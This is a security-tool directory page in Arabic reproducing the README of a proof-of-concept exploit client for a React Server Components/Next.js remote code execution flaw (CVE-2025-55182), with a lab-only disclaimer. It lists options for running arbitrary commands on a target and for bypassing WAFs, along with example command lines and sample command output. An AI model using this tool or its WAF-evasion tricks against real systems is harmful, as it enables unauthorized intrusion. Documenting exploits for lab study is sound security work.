Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
react2shell-scanner — كشف دقيق لثغرات تنفيذ التعليمات البرمجية عن بُعد في RSC/Next.js (CVE-2025-55182, CVE-2025-66478) | Kitploit
أدوات/GitHubGitHub/hidden-investigations/react2shell-scanner
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتجاوز WAFاختبار الاختراقالتعلم والتعليم
GitHubhidden-investigations/react2shell-scanner

react2shell-scanner

كشف دقيق لثغرات تنفيذ التعليمات البرمجية عن بُعد في RSC/Next.js (CVE-2025-55182, CVE-2025-66478)

عرض المستودعالموقع الإلكتروني
58منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
# ماسح React2Shell – مع إثبات المفهوم (PoC)

> **CVE-2025-55182 – إثبات مفهوم لاستغلال ثغرة RCE في مكونات خادم React**  
> عميل استغلال تعليمي لمختبر Hidden Investigations React2Shell.

يحتوي هذا المستودع على أداة استغلال إثبات المفهوم (PoC) لجهاز واحد لثغرة **[React2Shell](https://react2shell.com/)** (CVE-2025-55182) التي تستهدف تطبيقات **React Server Components / Next.js** غير المهيأة بشكل صحيح.

تم تصميم الأداة لاستخدامها **فقط** ضد مختبر **[Hidden Investigations React2Shell lab](https://github.com/hidden-investigations/react2shell-vulnlab.git)** الرسمي أو الأنظمة التي تمتلكها أو تديرها بشكل صريح.

---

## ⚠️ إخلاء مسؤولية قانوني وأخلاقي

هذا المشروع مقدم **بشكل صارم للبحث الأمني التعليمي والدفاعي**:

- استخدم هذه الأداة فقط على:
  - مختبر **Hidden Investigations React2Shell lab** الرسمي، أو
  - الأنظمة التي تمتلكها أو لديك **إذن كتابي صريح** لاختبارها.
- **لا** توجهها إلى مواقع عشوائية أو أنظمة إنتاج أو بنية تحتية لا تتحكم فيها.
- المؤلفون و Hidden Investigations **لا يتحملون أي مسؤولية** عن سوء الاستخدام أو الضرر.

باستخدام هذه الأداة، فإنك توافق على اتباع جميع القوانين واللوائح المعمول بها.

---

## الميزات

- 🔥 **عميل استغلال React2Shell** لثغرة CVE-2025-55182
- 🎯 **مركز على جهاز واحد** (لا مسح جماعي)
- 📡 دعم **المسارات المخصصة** و**قوائم المسارات**
- 🧪 **وضع الفحص الآمن** (بدون أوامر نظام، مجرد كشف)
- 🪟 **وضع صديق لويندوز** (افتراضيًا `whoami`)
- 🛡️ **مساعدات تجاوز WAF**:
  - حقل متعدد الأجزاء غير ضروري (`--waf-bypass`, `--waf-bypass-size`)
  - تعديل تخطيط Vercel (`--vercel-waf-bypass`)
- 🔐 خيارات TLS (`--insecure`, رؤوس مخصصة)
- 🧾 إخراج JSON (`-o/--output`, `--all-results`)
- 🧘 إخراج **الوضع الصامت** النظيف (مثالي للتوجيه إلى أدوات أخرى)

---

## المتطلبات

- **بايثون**: 3.8+ (تم الاختبار مع Python 3.10+)
- **التبعيات**:
  - `requests`

قم بتثبيت التبعيات عبر:

```bash
pip install -r requirements.txt
```

---

## التثبيت

1. استنساخ مستودع Hidden Investigations:

```bash
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
```

2. (اختياري لكن موصى به) إنشاء بيئة افتراضية:

```bash
python3 -m venv venv
source venv/bin/activate   # على ويندوز: venv\Scripts\activate
```

3. تثبيت المتطلبات:

```bash
pip install -r requirements.txt
```

4. تشغيل الأداة:

```bash
python3 react2shell-scanner.py -h
```

---

## الاستخدام

المساعدة الأساسية:

```bash
python3 react2shell-scanner.py -h
```

تتطلب الأداة **عنوان URL هدف**:

```bash
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# أو
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
```

إذا قمت بتشغيلها **بدون** `-t/--target` أو `-u/--url`، فإنها تطبع **رسالة مساعدة تحمل العلامة التجارية** وتخرج.

---

## خيارات سطر الأوامر

### الهدف والمسارات

| الخيار              | الوصف                                                                  | الافتراضي     |
|---------------------|------------------------------------------------------------------------|---------------|
| `-t`, `--target`    | عنوان URL أو نطاق الهدف (مطلوب ما لم يتم استخدام `--url`)                | _لا شيء_      |
| `-u`, `--url`       | اسم مستعار لـ `--target` (علامة على نمط Assetnote)                      | _لا شيء_      |
| `--path`            | المسار المراد اختباره (يمكن استخدامه عدة مرات، مثل `/`، `/_next`)         | `/`           |
| `--path-file`       | ملف يحتوي على المسارات المراد اختبارها (مسار واحد في كل سطر)              | _لا شيء_      |

> **ملاحظة:** إثبات المفهوم هذا **لجهاز واحد فقط**. خيار `-l/--list` موجود لكنه معطل عمدًا.

---

### سلوك الاستغلال / الحمولة

| الخيار                      | الوصف                                                                                        | الافتراضي |
|-----------------------------|----------------------------------------------------------------------------------------------|-----------|
| `-c`, `--command`           | الأمر المراد تنفيذه على الهدف (عند نجاح الاستغلال)                                           | `id`      |
| `--safe-check`              | استخدام حمولة SAFE_CHECK (بدون أمر نظام، مجرد سلسلة علامة)                                   | off       |
| `--windows`                 | ضبط الإعدادات الافتراضية للأهداف التي تعمل على ويندوز (مثل استخدام `whoami` عندما يكون الأمر `id`) | off       |
| `--waf-bypass`              | إضافة حقل متعدد الأجزاء كبير وغير ضروري إلى نص الطلب لتجاوز WAF                             | off       |
| `--waf-bypass-size KB`      | حجم الحقل غير الضروري بالكيلوبايت عند استخدام `--waf-bypass`                                 | `128`     |
| `--vercel-waf-bypass`       | استخدام تخطيط متعدد الأجزاء بديل لتعديل سلوك WAF في Vercel (إثبات مفهوم مبسط)                  | off       |

---

### خيارات HTTP / TLS

| الخيار                | الوصف                                                        | الافتراضي |
|-----------------------|--------------------------------------------------------------|-----------|
| `--timeout SECONDS`   | مهلة الطلب بالثواني                                          | `15` (أو `20` إذا تم استخدام `--waf-bypass` وعدم تعيين مهلة) |
| `-k`, `--insecure`    | تعطيل التحقق من SSL (مثل `curl -k`)                          | off       |
| `-H`, `--header`      | رأس مخصص، مثل `-H "X-Forwarded-For: 127.0.0.1"` (قابل للتكرار) | _لا شيء_  |

---

### خيارات الإخراج / تجربة المستخدم

| الخيار                  | الوصف                                                                                             | الافتراضي |
|-------------------------|---------------------------------------------------------------------------------------------------|-----------|
| `-o`, `--output FILE`   | كتابة نتائج JSON إلى `FILE`                                                                        | _لا شيء_  |
| `--all-results`         | عند استخدام `--output`، قم بتضمين النتائج **غير الضعيفة** أيضًا                                   | off       |
| `-v`, `--verbose`       | الوضع المفصل – إظهار حالة HTTP ورأس `X-Action-Redirect`                                          | off       |
| `-q`, `--quiet`         | الوضع الصامت – يطبع **فقط مخرجات الأمر الطبيعية** عند النجاح                                    | off       |
| `--no-color`            | تعطيل إخراج الطرفية الملون                                                                       | off       |

مثال الوضع الصامت (مخرجات جميلة متعددة الأسطر):

```bash
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
```

المخرجات:

```text
total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js
```

---

### أعلام المسح الجماعي (معطلة عمدًا)

الأعلام التالية موجودة لمحاكاة واجهة سطر الأوامر الخاصة بـ Assetnote، لكنها **غير مطبقة** في إثبات المفهوم هذا تجنبًا لإساءة استخدام المسح الجماعي:

| الخيار          | الحالة              |
|-----------------|---------------------|
| `-l`, `--list`  | **غير مطبق**       |
| `--threads N`   | **غير مطبق**       |

إذا استخدمت `-l/--list`، ستطبع الأداة تحذيرًا وتخرج، مقترحة استخدام `react2shell-scanner` الأصلي من Assetnote للمسح الآمن على نطاق واسع.

---

## أمثلة

تشغيل ضد المختبر المحلي:

```bash
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
```

استخدام تجاوز WAF مع حقل غير ضروري أكبر:

```bash
python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"
```

مسارات متعددة على نفس المضيف:

```bash
python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"
```

مسارات من ملف:

```bash
python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"
```

وضع الفحص الآمن (بدون تنفيذ أوامر نظام):

```bash
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
```

إخراج JSON للنتائج إلى ملف:

```bash
python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results
```

---

## تنسيق إخراج JSON

عند استخدام `-o/--output`، تكتب الأداة مصفوفة من الكائنات مثل:

```json
[
  {
    "url": "http://localhost:3000/",
    "path": "/",
    "success": true,
    "status": "success",
    "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
    "http": {
      "status_code": 302,
      "headers": {
        "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
        "...": "..."
      }
    }
  }
]
```

---

## الشكر والتقدير

- **[Hidden Investigations](https://hiddeninvestigations.net/)** – لنشر مختبر React2Shell التعليمي وعميل إثبات المفهوم.
- **[@sakibulalikhan](https://github.com/sakibulalikhan)** – مؤلف الأداة.
- **Assetnote** – الإلهام لأفكار تجاوز WAF عبر أداة `react2shell-scanner` الخاصة بهم.

---

## الترخيص

هذا المشروع مرخص بموجب **رخصة MIT**. راجع [`LICENSE`](https://github.com/hidden-investigations/react2shell-scanner/blob/main/LICENSE) للحصول على التفاصيل.

📬 تواصل معنا: [[email protected]](mailto:[email protected])
تنزيل الأداة